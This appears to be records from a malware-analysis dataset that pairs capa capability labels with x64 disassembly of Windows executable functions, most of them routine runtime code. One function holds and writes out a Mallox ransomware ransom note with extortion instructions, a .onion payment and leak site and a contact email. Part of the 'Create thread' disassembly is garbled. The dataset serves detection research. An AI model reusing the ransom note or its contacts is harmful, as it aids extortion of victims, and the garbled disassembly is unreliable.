joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000d860
Capabilities:
Accept command line arguments

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
mov qword [rbp], 0xfffffffffffffffe
mov rax, rdx
mov rdi, rcx
lea rdx, [rbp - 4]
mov rcx, rax
call sub.shell32.dll_CommandLineToArgvW
test rax, rax
je 0x14000d962
mov rsi, rax
mov qword [rbp - 0x28], rdi
movsxd rax, dword [rbp - 4]
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 8
mov qword [rbp - 0x10], 0
lea r13, [rsi + rax*8]
lea rbx, [rbp - 0x40]
lea r14, [rbp - 0x58]
lea r15, [rbp - 0x20]
mov rdi, rsi
jmp 0x14000d904
add rdi, 8
mov rax, qword [rbp - 0x18]
lea rcx, [r12 + r12*2]
mov rdx, qword [rbp - 0x30]
mov qword [rax + rcx*8 + 0x10], rdx
movups xmm0, xmmword [rbp - 0x40]
movups xmmword [rax + rcx*8], xmm0
inc r12
mov qword [rbp - 0x10], r12
cmp rdi, r13
je 0x14000d945
mov r12, qword [rdi]
mov rcx, r12
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
lea rax, [r12 + rax*2]
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], rax
mov word [rbp - 0x48], 0
mov rcx, rbx
mov rdx, r14
call fcn.140018400
mov r12, qword [rbp - 0x10]
cmp r12, qword [rbp - 0x20]
jne 0x14000d8e0
mov rcx, r15
call fcn.140017a60
jmp 0x14000d8e0
mov rcx, rsi
call sub.kernel32.dll_LocalFree
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 0x28]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp - 0x20]
movups xmmword [rcx], xmm0
jmp 0x14000d979
mov qword [rdi], 0
mov qword [rdi + 8], 8
mov qword [rdi + 0x10], 0
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x140012890
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, rcx
add qword [rcx + 0x30], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x1400128d2
mov r10d, 8
sub r10, r11
cmp r8, r10
mov rdi, r10
cmovb rdi, r8
cmp rdi, 4
jb 0x1400128da
mov esi, dword [rdx]
mov r9d, 4
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jb 0x1400128eb
jmp 0x140012902
xor r10d, r10d
jmp 0x14001298d
xor esi, esi
xor r9d, r9d
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jae 0x140012902
movzx ebx, word [rdx + r9]
lea ecx, [r9*8]
shl rbx, cl
or rsi, rbx
or r9, 2
cmp r9, rdi
jae 0x140012919
movzx edi, byte [rdx + r9]
shl r9d, 3
mov ecx, r9d
shl rdi, cl
or rsi, rdi
lea ecx, [r11*8]
shl rsi, cl
or rsi, qword [rax + 0x38]
mov qword [rax + 0x38], rsi
cmp r10, r8
jbe 0x140012939
add r11, r8
jmp 0x140012a6b
mov r11, qword [rax + 0x18]
mov r9, qword [rax + 0x10]
mov rcx, qword [rax]
add rcx, r9
rol r9, 0xd
xor r11, rsi
xor r9, rcx
rol rcx, 0x20
mov rdi, qword [rax + 8]
add rdi, r11
rol r11, 0x10
xor r11, rdi
add rcx, r11
rol r11, 0x15
xor r11, rcx
add rdi, r9
rol r9, 0x11
mov qword [rax + 0x18], r11
xor r9, rdi
rol rdi, 0x20
mov qword [rax + 0x10], r9
mov qword [rax + 8], rdi
xor rcx, rsi
mov qword [rax], rcx
sub r8, r10
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r10, r8
jae 0x140012a02
mov rcx, qword [rax]
mov r9, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
nop
add rcx, rsi
rol rsi, 0xd
mov rbx, qword [rdx + r10]
xor rsi, rcx
rol rcx, 0x20
xor rdi, rbx
add r9, rdi
rol rdi, 0x10
xor rdi, r9
add rcx, rdi
rol rdi, 0x15
add r9, rsi
rol rsi, 0x11
xor rsi, r9
rol r9, 0x20
xor rdi, rcx
xor rcx, rbx
add r10, 8
cmp r10, r8
jb 0x1400129b0
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax + 8], r9
mov qword [rax], rcx
cmp r11d, 4
jb 0x140012a20
mov r9d, dword [rdx + r10]
mov r8d, 4
mov rcx, r8
or rcx, 1
cmp rcx, r11
jb 0x140012a32
jmp 0x140012a4d
xor r9d, r9d
xor r8d, r8d
mov rcx, r8
or rcx, 1
cmp rcx, r11
jae 0x140012a4d
lea rcx, [rdx + r8]
movzx esi, word [r10 + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
cmp r8, r11
jae 0x140012a67
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
pop rbx
pop rdi
pop rsi
ret
Function at 0x14001de30
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov qword [rbp], 0xfffffffffffffffe
mov r14, rdx
mov rsi, rcx
movups xmm0, xmmword [rdx + 0x38]
movups xmm1, xmmword [rdx + 0x48]
movaps xmmword [rbp - 0x30], xmm1
movaps xmmword [rbp - 0x40], xmm0
mov rax, qword [rdx + 0x28]
movzx ebx, byte [rdx + 0x30]
mov qword [rbp - 0x10], rax
mov qword [rbp - 0x50], rax
mov byte [rbp - 0x48], bl
movzx eax, byte [0x14005f181]
mov ecx, 0x5f0
mov edx, 8
call fcn.140005020
test rax, rax
mov qword [rbp - 8], r14
je 0x14001e0a0
mov rdi, rax
mov r8d, 0x5f0
mov rcx, rax
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov rax, qword [r14 + 0x60]
mov qword [rbp - 0x18], rax
movabs rcx, 0x7465646279746573
movabs rdx, 0x6c7967656e657261
movabs r8, 0xded7d4e2d7dedfc6
movabs r9, 0xa60c596fc19fead0
movabs r10, 0xe414a674f0de7325
movabs r11, 0x800000000000000
mov r12d, 1
lock xadd qword [0x14005f198], r12
mov r14, r12
xor r14, rcx
lea r15, [r14 + rdx]
mov rax, r14
rol rax, 0x10
xor rax, r15
lea r15, [rax + r8]
rol rax, 0x15
add r14, r9
mov r13, r14
xor r13, r10
rol r14, 0x20
xor r12, r15
add r12, r13
rol r13, 0xd
xor r15, r11
xor r13, r12
rol r12, 0x20
xor r15, rax
add r14, r15
rol r15, 0x10
xor r15, r14
add r12, r15
rol r15, 0x15
add r14, r13
rol r13, 0x11
xor r15, r12
xor r13, r14
rol r14, 0x20
xor r12, r11
add r12, r13
rol r13, 0xd
xor r13, r12
rol r12, 0x20
xor r14, 0xff
add r14, r15
rol r15, 0x10
xor r15, r14
add r12, r15
rol r15, 0x15
add r14, r13
rol r13, 0x11
xor r13, r14
rol r14, 0x20
xor r15, r12
add r12, r13
rol r13, 0xd
xor r13, r12
rol r12, 0x20
add r14, r15
rol r15, 0x10
xor r15, r14
add r12, r15
rol r15, 0x15
add r14, r13
rol r13, 0x11
xor r13, r14
rol r14, 0x20
xor r15, r12
add r12, r13
rol r13, 0xd
add r14, r15
rol r15, 0x10
xor r15, r14
rol r15, 0x15
xor r13, r12
add r14, r13
rol r13, 0x11
mov r12, r14
rol r12, 0x20
xor r12, r13
xor r12, r15
xor r12, r14
je 0x14001def0
mov rcx, qword [rbp - 8]
mov rax, qword [rcx + 0x58]
movaps xmm0, xmmword [rbp - 0x40]
movaps xmm1, xmmword [rbp - 0x30]
movups xmmword [rsi + 0x128], xmm1
movups xmmword [rsi + 0x118], xmm0
mov rdx, qword [rbp - 0x10]
mov qword [rsi + 0x138], rdx
mov byte [rsi + 0x140], bl
mov qword [rsi], 0
mov qword [rsi + 8], rdi
mov qword [rsi + 0x80], 0
mov qword [rsi + 0x88], rdi
mov rdx, qword [rbp - 0x18]
mov qword [rsi + 0x100], rdx
mov qword [rsi + 0x108], r12
mov qword [rsi + 0x110], rax
mov rdx, qword [rcx + 0x10]
movabs rax, 0x8000000000000000
cmp rdx, rax
je 0x14001e08c
test rdx, rdx
je 0x14001e08c
mov rcx, qword [rcx + 0x18]
mov r8d, 1
call fcn.140005030
mov rax, rsi
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov ecx, 8
mov edx, 0x5f0
call fcn.140044940
ud2
Function at 0x140025d80
Capabilities:
Get system information on windows

Disassembly:
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x50]
xorps xmm0, xmm0
movaps xmmword [rbp - 0x10], xmm0
movaps xmmword [rbp - 0x20], xmm0
movaps xmmword [rbp - 0x30], xmm0
lea rcx, [rbp - 0x30]
call qword [sym.imp.kernel32.dll_GetSystemInfo]
mov ecx, dword [rbp - 0x10]
xor eax, eax
test rcx, rcx
sete al
lea rdx, str.The_number_of_hardware_threads_is_not_known_for_the_target_platform
cmovne rdx, rcx
add rsp, 0x50
pop rbp
ret

Function at 0x140025dc0
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3d0], rcx
mov qword [rbp + 0x3d8], 0
mov qword [rbp + 0x3e0], 2
mov qword [rbp + 0x3e8], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3c8], rax
xor esi, esi
xor edi, edi
xor ebx, ebx
cmp r8, 0x201
jae 0x140025e60
jmp 0x140025e4f
jae 0x140025f1f
cmp r8, 0x201
jae 0x140025e60
mov r14d, 0x200
lea r15, [rbp - 0x58]
mov r12, r8
jmp 0x140025eb7
sub r8, rbx
sub rdi, rbx
cmp rdi, r8
jae 0x140025e8f
lea rcx, [rbp + 0x3d8]
mov rdx, rbx
call fcn.140043d40
mov rsi, qword [rbp + 0x3d8]
mov rax, qword [rbp + 0x3e0]
mov qword [rbp + 0x3c8], rax
mov eax, 0xffffffff
cmp rsi, rax
mov ebx, 0xffffffff
cmovb rbx, rsi
mov qword [rbp + 0x3e8], rbx
mov rdi, rsi
mov r14, rbx
mov r15, qword [rbp + 0x3c8]
mov r12, rbx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov ecx, r12d
mov rdx, r15
call qword [sym.imp.kernel32.dll_GetCurrentDirectoryW]
mov r13d, eax
test eax, eax
jne 0x140025ee0
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x140025f8b
mov r8d, r13d
cmp r12, r8
jne 0x140025e40
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140025fbf
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r8, r12
cmp r8, 0x201
jb 0x140025e4f
jmp 0x140025e60
cmp r14, r8
jb 0x140025fd9
lea rcx, [rbp + 0x3a8]
mov rdx, r15
call fcn.140028e20
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3d0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rdx, qword [rbp + 0x3d8]
test rdx, rdx
je 0x140025f74
mov rcx, qword [rbp + 0x3e0]
add rdx, rdx
mov r8d, 2
call fcn.140005030
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3d0]
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
mov rdx, qword [rbp + 0x3d8]
test rdx, rdx
jne 0x140025f5f
jmp 0x140025f74
lea rcx, str.internal_error:_entered_unreachable_code_rustc_87293c9585a7fb2cc83ca9949ae79661d5d3c31alibrary_alloc_src_vecmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
call fcn.140044ae0
jmp 0x140025fee
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r14
mov r8, rax
call fcn.140044e30
ud2
Function at 0x14002dc20
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov rsi, rcx
movups xmm0, xmmword [0x14004a700]
movaps xmmword [rbp], xmm0
mov eax, 0xffffffff
cmp r8, rax
cmovb rax, r8
test r9, r9
je 0x14002dc58
mov rcx, qword [rbp + 0x60]
mov qword [rbp - 0x30], rcx
test r9, r9
mov qword [rbp - 0x38], r9
lea rcx, [rbp - 0x30]
cmove rcx, r9
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
mov rax, rbp
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x14002dcb6
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rbp]
cmp eax, 0x103
je 0x14002dce3
test eax, eax
js 0x14002dcc2
mov rdx, qword [rbp + 8]
xor eax, eax
jmp 0x14002dcd9
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0xa8
pop rsi
pop rbp
ret
mov dword [rbp + 0x18], 0
mov byte [rbp + 0x1c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, [rbp + 0x20]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rcx, [rbp + 0x18]
lea rdx, [rbp - 0x38]
call fcn.140028ae0
mov qword [rbp - 8], rax
lea rcx, [rbp - 8]
call fcn.140024080
mov ecx, 7
int 0x29
ud2

Function at 0x14002e9b0
Capabilities:
Create thread

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
push rax
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
clc
invalid
invalid
invalid
dec dword [rcx + rcx*4 - 0x39]
mov r14, rdx
mov rsi, rcx
movzx eax, byte [0x14005f181]
add eax, dword [rax]
mov ecx, 0x10
mov edx, 8
add byte [rax], al
add al, ch
cmp ah, byte [rsi - 3]
dec dword [rax - 0x7b]
ror byte [rdi], 0x84
invalid
add byte [rax], al
invalid
mov rbx, rax
mov qword [rax], r14
mov qword [rax + 8], rdi
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x10000
lea r8, case.0x1400299b4.417
xor edi, edi
xor ecx, ecx
mov rdx, rsi
mov edx, esi
mov r9, rax
call qword [sym.imp.kernel32.dll_CreateThread]
mov rdx, rax
test rax, rax
test eax, eax
jne 0x14002ea81
mov rcx, qword [rbx]
mov qword [rbp - 0x18], rbx
mov rax, qword [rbx + 8]
or byte [r8 - 0x77], cl
loopne 0x14002ea81
mov dword [rbp - 0x10], eax
call qword [rax]
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14002ea58
invalid
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x20]
call fcn.140005030
mov edx, 0x10
mov r8d, 8
mov rcx, qword [rbp - 0x18]
call fcn.140005030
call qword [sym.imp.kernel32.dll_GetLastError]
add dword [rax], eax
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov edi, 1
add byte [rax], al
invalid
mov qword [rbp - 0x18], r14
Function at 0x14003d6d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
test r8, r8
je 0x14003d75a
mov rax, rdx
mov rdx, qword [rbp + 0x50]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x14003d750
cmp r11, r10
ja 0x14003d7d6
cmp r10, rdx
ja 0x14003d7e8
add r11, r9
xor ebx, ebx
nop word cs:[rax + rax]
cmp rdi, rbx
je 0x14003d752
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x14003d730
jmp 0x14003d7b7
ja 0x14003d75a
mov r11, r10
cmp rax, r8
jne 0x14003d6f7
mov rdx, qword [rbp + 0x60]
test rdx, rdx
je 0x14003d7bb
mov r8, qword [rbp + 0x58]
add rdx, r8
movzx ecx, cx
mov al, 1
nop
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x14003d790
mov r8, r10
sub ecx, r9d
jns 0x14003d7ae
jmp 0x14003d7bd
cmp r10, rdx
je 0x14003d7ca
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14003d7bd
xor al, 1
cmp r8, rdx
jne 0x14003d770
jmp 0x14003d7bd
xor eax, eax
jmp 0x14003d7bd
mov al, 1
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.1400449e0
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.140044e40
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.140044e30
int3

Function at 0x14003f6f8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14003f742
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003f742
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003f742
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003f742
cmp dword [rcx + 0x84], 0xe
jbe 0x14003f742
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14003f744
xor al, al
add rsp, 0x28
ret
Function at 0x140001cf4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d3e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d3e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], reloc.KERNEL32.dll_IsDebuggerPresent
jne 0x140001d3e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d3e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d3e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001d40
xor al, al
add rsp, 0x28
ret
Function at 0x140004c30
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov edx, dword [0x140077140]
lea r10, [0x140076780]
cmp edx, 0x270
jl 0x140004cf7
mov rdx, r10
lea r9, [0x140076b0c]
lea r8, [0x140065278]
nop word [rax + rax]
mov ecx, dword [rdx]
xor ecx, dword [rdx + 4]
btr ecx, 0x1f
xor ecx, dword [rdx]
mov eax, ecx
shr ecx, 1
and eax, 1
xor ecx, dword [r8 + rax*4]
xor ecx, dword [rdx + 0x634]
mov dword [rdx], ecx
add rdx, 4
cmp rdx, r9
jl 0x140004c60
lea rdx, [0x140076b0c]
lea r9, [0x14007713c]
nop word [rax + rax]
mov ecx, dword [rdx]
xor ecx, dword [rdx + 4]
btr ecx, 0x1f
xor ecx, dword [rdx]
mov eax, ecx
shr ecx, 1
and eax, 1
xor ecx, dword [r8 + rax*4]
xor ecx, dword [rdx - 0x38c]
mov dword [rdx], ecx
add rdx, 4
cmp rdx, r9
jl 0x140004ca0
mov eax, dword [0x14007713c]
mov ecx, dword [0x140076780]
and eax, 0x80000000
btr ecx, 0x1f
or ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
xor ecx, dword [r8 + rax*4]
xor ecx, dword [0x140076db0]
mov dword [0x14007713c], ecx
xor edx, edx
movsxd rax, edx
inc edx
mov dword [0x140077140], edx
mov ecx, dword [r10 + rax*4]
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
ret
Function at 0x1400075f0
Capabilities:
Write file on windows

Disassembly:
mov r11, rsp
push rbx
push r12
sub rsp, 0x78
mov rax, qword [0x140073040]
xor rax, rsp
mov qword [rsp + 0x68], rax
cmp dword [0x1400795c8], 0
lea r12, [0x140079600]
mov qword [r11 + 0x10], rbp
mov rbp, rcx
jne 0x1400076ec
mov qword [r11 + 0x18], rsi
lea rcx, [0x140076300]
mov qword [r11 - 0x18], r14
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea r8, [rsp + 0x48]
call fcn.1400070b0
lea rcx, [rsp + 0x48]
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
xor ecx, ecx
mov qword [rsp + 0xa8], rdi
movsxd rsi, eax
lea r14, str.Hello_r_n_r_nYour_data_has_been_stolen_and_encrypted_r_nWe_will_delete_the_stolen_data_and_help_with_the_recovery_of_encrypted_files_after_payment_has_been_made_r_n_r_nDo_not_try_to_change_or_restore_files_yourself__this_will_break_them_r_nWe_provide_free_decryption_for_any_3_files_up_to_3MB_in_size_on_our_website_r_n_r_nHow_to_contact_with_us:_r_n1__Download_and_install_TOR_browser_by_this_link:_https:__www.torproject.org_download__r_n2__If_TOR_blocked_in_your_country_and_you_cant_access_to_the_link_then_use_any_VPN_software_r_n3__Run_TOR_browser_and_open_the_site:_wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion_mallox_privateSignin_r_n4__Copy_your_private_ID_in_the_input_field._Your_Private_key:_id_r_n5__You_will_see_chat__payment_information_and_we_can_make_free_test_decryption_here_r_n_r_nOur_blog_of_leaked_companies:_r_nwtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion_r_n_r_nIf_you_are_unable_to_contact_us_through_the_site__then_you_can_email_us:_mallox.resurrection_onionmail.org_r_nWaiting_for_a_response_via_mail_can_be_several_days._Do_not_use_it_if_you_have_not_tried_contacting_through_the_site.
nop dword [rax]
nop dword [rax + rax]
movzx r8d, byte [rcx + r14]
mov r9d, ebx
add r9, r12
mov byte [r9], r8b
cmp r8b, 0x7b
jne 0x1400076b8
lea eax, [rcx + 1]
cmp byte [rax + r14], 0x69
jne 0x1400076b8
lea eax, [rcx + 2]
cmp byte [rax + r14], 0x64
jne 0x1400076b8
lea edi, [rcx + 3]
cmp byte [rdi + r14], 0x7d
jne 0x1400076b8
mov r8, rsi
lea rdx, [rsp + 0x48]
mov rcx, r9
call fcn.140051150
dec ebx
mov ecx, edi
add ebx, esi
inc ebx
inc ecx
cmp ecx, 0x45b
jb 0x140007670
mov r14, qword [rsp + 0x70]
lea rcx, [0x140076300]
mov rdi, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xa0]
mov dword [0x1400795c8], ebx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov edx, 0x40000000
mov rcx, rbp
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, qword [rsp + 0x98]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140007755
mov r8d, dword [0x1400795c8]
lea r9, [rsp + 0x40]
mov rdx, r12
mov qword [rsp + 0x20], 0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14002c2f0
add rsp, 0x78
pop r12
pop rbx
ret
Function at 0x140022fd0
Capabilities:
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x140073040]
xor rax, rsp
mov qword [rsp + 0xb0], rax
lea rsi, [rcx + 0x340]
mov rbx, rcx
mov rcx, rsi
xor edx, edx
mov r8d, 0x158
call fcn.140050d90
xor edi, edi
lea rcx, [rbx + 0x20]
mov dword [rbx + 0x498], edi
xor edx, edx
mov r8d, 0x320
mov dword [rbx + 0x1c], edi
call fcn.140050d90
xor eax, eax
mov dword [rbx + 0x18], edi
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
movsxd rax, dword [rbx + 0x1c]
cmp eax, 0x14
jge 0x140023070
lea rcx, [rax + rax*4]
lea rax, [0x140024c70]
mov qword [rbx + rcx*8 + 0x28], rdi
mov qword [rbx + rcx*8 + 0x20], rax
mov qword [rbx + rcx*8 + 0x38], 0x20
mov dword [rbx + rcx*8 + 0x40], 1
inc dword [rbx + 0x1c]
xor edx, edx
mov r8d, 0x158
mov rcx, rsi
call fcn.140050d90
xor edx, edx
lea rcx, [rsi + 0x28]
mov r8d, 0x120
call fcn.140050d90
mov r9d, 2
mov dword [rsi + 0x10], 0xffffffff
mov dword [rsi + 0x20], 0x2710
lea rdx, [rsp + 0x40]
xor ecx, ecx
mov dword [rbx + 0x354], 1
lea r8d, [r9 + 0x62]
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
mov dword [rbx + 0x498], eax
test eax, eax
jns 0x1400230d9
mov dword [rbx + 0x498], 1
jmp 0x140023159
lea rax, [0x140023e00]
mov qword [rsi + 0x150], rbx
xorps xmm0, xmm0
mov qword [rsi + 0x148], rax
mov rax, qword [rsi + 0x18]
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
test rax, rax
jne 0x14002310d
mov eax, 0x30
mov qword [rsi + 0x18], rax
movsxd rcx, dword [rsi + 0x10]
test ecx, ecx
js 0x14002311a
mov rdi, rcx
jmp 0x140023127
cmp rax, 0x30
jae 0x140023127
lea rdi, [rax + 1]
shr rdi, 1
mov r8d, pe_nt_image_headers64
lea rdx, [rsp + 0x20]
lea rcx, [rsi + 0x28]
call fcn.14001f8a0
test eax, eax
jne 0x140023153
mov r9, rdi
lea r8d, [rax + 0x64]
lea rdx, [rsp + 0x40]
mov rcx, rsi
call fcn.140024920
mov dword [rbx + 0x498], eax
mov rax, rbx
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.14002c2f0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x140023690
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push rbx
sub rsp, 0xb0
mov rax, qword [0x140073040]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x14007b620], eax
jle 0x14002380d
lea rcx, [0x14007b620]
call fcn.14002c6cc
cmp dword [0x14007b620], 0xffffffff
jne 0x14002380d
mov ecx, 0x40
call fcn.14002c5ac
mov rbx, rax
mov qword [rsp + 0x20], rax
lea rcx, [rax + 0x18]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_InitializeConditionVariable]
mov dword [rbx + 0xc], 0
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x90]
cmp eax, 1
ja 0x14002372f
mov eax, 2
jmp 0x14002373d
cmp eax, 0xa
jbe 0x14002373b
mov eax, 0xa
jmp 0x14002373d
dec eax
mov dword [rbx + 8], eax
mov dword [rsp + 0x30], 0x40
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rcx, qword [rsp + 0x40]
mov edx, 0x40000000
test eax, eax
cmove rcx, rdx
mov qword [rbx], 0xa000000
xorps xmm1, xmm1
test rcx, rcx
js 0x140023779
cvtsi2sd xmm1, rcx
jmp 0x14002378e
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm1, rax
addsd xmm1, xmm1
mulsd xmm1, qword [str.ffffff]
mov eax, dword [rbx + 8]
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
divsd xmm1, xmm0
xor ecx, ecx
movsd xmm0, qword [0x140069df8]
comisd xmm1, xmm0
jb 0x1400237cc
subsd xmm1, xmm0
comisd xmm1, xmm0
jae 0x1400237cc
movabs rax, 0x8000000000000000
mov rcx, rax
cvttsd2si rax, xmm1
add rax, rcx
and rax, 0xffffffffff800000
cmp rax, 0x800000
jae 0x1400237eb
mov qword [rbx], 0x1800000
jmp 0x1400237fa
mov edx, 0xff800000
cmp rax, rdx
cmova rax, rdx
